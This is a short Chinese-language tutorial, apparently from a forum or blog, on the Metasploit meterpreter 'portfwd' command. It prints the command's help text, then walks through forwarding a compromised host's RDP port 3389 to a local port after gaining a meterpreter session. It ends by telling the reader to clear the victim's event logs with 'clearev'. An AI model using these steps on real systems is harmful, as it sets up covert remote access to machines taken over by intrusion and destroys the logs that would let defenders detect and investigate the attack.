portfwd 命令详解
- meterpreter > portfwd -h
- Usage: portfwd [-h] [add | delete | list | flush] [args]
- OPTIONS:
- -h Help banner.
- -i Index of the port forward entry to interact with (see the "list" command).
- -l Forward: local port to listen on. Reverse: local port to connect to.
- -L Forward: local host to listen on (optional). Reverse: local host to connect to.
- -p Forward: remote port to connect to. Reverse: remote port to listen on.
- -r Forward: remote host to connect to.
- -R Indicates a reverse port forward.
复制代码 -add 添加
-l 你自己公网监听的端口
-p 目标主机的端口,一般是要转出来的端口
-r 目标主机要链接的host,一般是你自己的公网地址
在得到meterpreter 后,执行命令
- portfwd add -l 999 -p 3389 -r 127.0.0.1
复制代码
打开metsc,链接IP地址:192.168.1.26:999
最后不要忘记,清除日志
clearev
|